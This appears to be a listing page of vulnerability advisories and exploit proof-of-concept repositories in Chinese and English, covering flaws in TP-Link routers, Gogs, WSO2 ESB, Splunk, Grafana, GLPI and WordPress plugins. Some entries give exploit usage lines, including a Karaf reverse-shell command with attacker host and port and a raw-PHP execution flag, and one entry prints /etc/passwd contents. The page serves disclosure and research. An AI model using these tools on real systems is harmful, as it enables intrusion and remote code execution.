CVE-2026-22226

CVE-2026-22226 CVE-2026-22226 概念验证 TP-Link Archer Wi-Fi 路由器 VPN 客户端中经过认证的局域网侧操作系统命令注入 漏洞概述 VPN 客户端控制器将用户可控的条目描述（des）以较弱的验证正则表达式存储在 UCI 配置中。当该条目随后被读回时（在 WebUI 中编辑时），getovpndata 会将 des 直接插入到传给 os.execute 的带引号 shell 命令中，且没有任何净化处理： -- getovpndata in vpn.lua fileovpnpathlocal =...

CVE-2026-106506

A flaw was found in plugin-scaffolder-backend. This vulnerability allows an authenticated user with permission to create and view tasks to access confidential task secrets, resulting in information disclosure. Due to improper input validation in task list ordering, an attacker can submit repeated...

CVE-2026-93548

The FooSales WordPress plugin before 1.43.3 does not verify that an authenticated caller is entitled to act as the user a request names, allowing any authenticated user to have the FooSales WordPress plugin before 1.43.3 act as an arbitrary other user, including an administrator, resulting in tha...

CVE-2025-8110

CVE-2025-8110 – Gogs ≤ 0.13.3 RCE PoC 针对 CVE-2025-8110 的 PoC：Gogs ≤ 0.13.3 存在经过身份验证的任意文件写入漏洞，根源在于 PutContents API 对符号链接的处理不当。 经过身份验证的用户可以提交一个指向 .git/config 的符号链接，然后使用该 API 覆盖它并注入恶意的 sshCommand，从而实现远程代码执行。 免责声明 仅用于教育和授权测试。请勿对非您所有或未经明确许可的系统使用。 用法 chmod +x poc.sh ./poc.sh \ -i \ -P \ -u \ -p \ -t \ ...

WordPress Redux Framework plugin <= 4.5.11 - Redux Framework <= 4.5.11 – Authenticated (Subscriber+) Privilege Escalation vulnerability

Redux Framework = 4.5.11 – Authenticated Subscriber+ Privilege Escalation vulnerability discovered by shark3y in WordPress Plugin Redux Framework versions = 4.5.11...

WSO2-2021-1261

WSO2-2021-1261：WSO2 ESB 中的多个跨站脚本（XSS） 由于输出编码不当，已在 WSO2 ESB 中发现多个跨站脚本（XSS）攻击。 厂商披露： 该漏洞的厂商披露和修复可在此处找到。 为何没有 CVE？ 我和厂商均未为此漏洞申请 CVE。 要求： 此漏洞需要： 部分 XSS 需要有效的用户凭据 概念验证： 更多细节和利用过程可在该PDF中找到。...

WSO2-2021-1260

WSO2-2021-1260：通过 WSO2 ESB 中构件名称的路径遍历删除任意文件 由于 Artifact Upload 功能中用户输入未经过滤，攻击者可以利用“artifactName”参数中的路径遍历来执行任意文件删除攻击。 供应商披露： 供应商对此漏洞的披露和修复可在此处找到。 为什么没有 CVE？ 我和供应商都没有为此漏洞申请 CVE。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详细信息和利用过程可在此 PDF中找到。...

MAL-007

MAL-007：WSO2 ESB 中通过本地注册表条目触发的 XML 外部实体（XXE） 在 WSO2 ESB 的“Local Entities”工具中发现了一种内联 XML 外部实体（XXE）攻击。 为什么没有 CVE？ 厂商回复称该漏洞“已在 WUM 中修复”，且未进行任何公开披露。 要求： 该漏洞需要以下条件： 有效的用户凭证 概念验证： 更多详细信息和利用过程可参阅此 PDF。...

poc-CVE-2026-23489

POC CVE-2026-23489 CVE-2026-23489 GLPI “Fields” 插件 --cookie-value COOKIEVALUE GLPI session cookie value --php PHP Raw PHP to execute on the server end statements with ';', Dropdowns...

MAL-005

MAL-005: WSO2 ESB 的“添加 Carbon 应用程序”功能中的 Zip Slip 漏洞 在 WSO2 ESB 的“Carbon 应用程序”添加功能中发现了基于 ZIP 文件的目录遍历（Zip Slip）漏洞。通过写入/覆盖特定文件，可能实现远程代码执行。 为什么没有 CVE？ 供应商回复称此漏洞“已在 WUM 中修复”，且未进行公开披露。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...

EUVD-2026-95508

The FooSales WordPress plugin before 1.43.3 does not verify that an authenticated caller is entitled to act as the user a request names, allowing any authenticated user to have the FooSales WordPress plugin before 1.43.3 act as an arbitrary other user, including an administrator, resulting in tha...

CVE-2026-92989

The SendPress Newsletters WordPress plugin, in versions up to and including 1.26.1.20 , is vulnerable to an improper access control flaw (CWE-284 ). The plugin fails to validate user capabilities on specific newsletter-management actions. This allows any authenticated user with subscriber-level p...

EUVD-2026-95501

The SendPress Newsletters WordPress plugin through 1.26.1.20 does not check the user's capability on several newsletter-management actions, allowing any authenticated subscriber-level user to synchronise all site users into a mailing list and to drive the newsletter send queue...

offsec-karaf-exploits

offsec-karaf-exploits 用法： python exploit.py --help 示例： python exploit.py --rhost=192.168.0.133 --rport=1337 --lhost=192.168.0.100 --lport=4444 --creds=karaf:karaf 重新构建 Payload 设置 Felix 框架 1. 创建 lib 目录 mkdir -p ./revshell/lib 2. 下载 Felix Framework 7.0.5 3. 解压缩 zip 压缩包 4. 将...

CVE-2026-87108

An authenticated Ops Manager user with a read-only project role can exploit a flaw in daily host monitoring retrieval. Due to insufficient ownership validation , an attacker possessing a specific record identifier can retrieve a monitoring record associated with a different project . This unautho...

Splunk-RCE-poc

Splunk RCE - 概念验证（PoC） 针对 CVE-2023-46214、SVD-2023-1104 的利用概念验证 使用方法 Splunk 实例 URL、用户名、密码、反向 Shell IP 和端口均需作为命令行参数提供。例如： $ python3 CVE-2023-46214.py --url --username --password --ip --port 前置条件 具有上传到 adddatamethods 权限的 Splunk 凭据 注意：可能存在其他攻击途径，这只是我使用的方式 Splunk 未以 SHC 模式运行 分析...

import-users-from-csv-with-meta

import-users-from-csv-with-meta Import Users From CSV with Meta 1.15 - 未授权认证用户导出...

health-check

health-check Health Check & Troubleshooting daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin...

learning-management-system

learning-management-system Masteriyo - LMS for WordPress = 1.6.7 - 敏感信息泄露 插件信息 软件类型 插件 软件别名 learning-management-system（在 wordpress.org 上查看） 已修补？ 是 修复方案 更新到版本 1.6.8，或更新的已修补版本 受影响版本 1.6.8 已修补版本 1.6.8 CVS 信息泄露 CVSS 向量 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N CVSS 6.5（中危） 描述 Masteriyo - LMS for...

grafana-ssrf

grafana-ssrf Grafana 中经过身份验证的 SSRF。 注意事项 已为所有 SSRF 添加 Azure 元数据标头 已为所有 SSRF 添加 Google 元数据标头 无论何种情况，SSRF 都不会跟随重定向，因此请确保 URL 是直接地址。 如果通过 SSO 或其他非 Grafana 方式登录，请获取您的会话 Cookie 并使用 -s 标志 用法 usage: grafana-ssrf.py -h -s SESSION -u URL -H HOST -f FILE -U USERNAME -P PASSWORD optional arguments: -h, --he...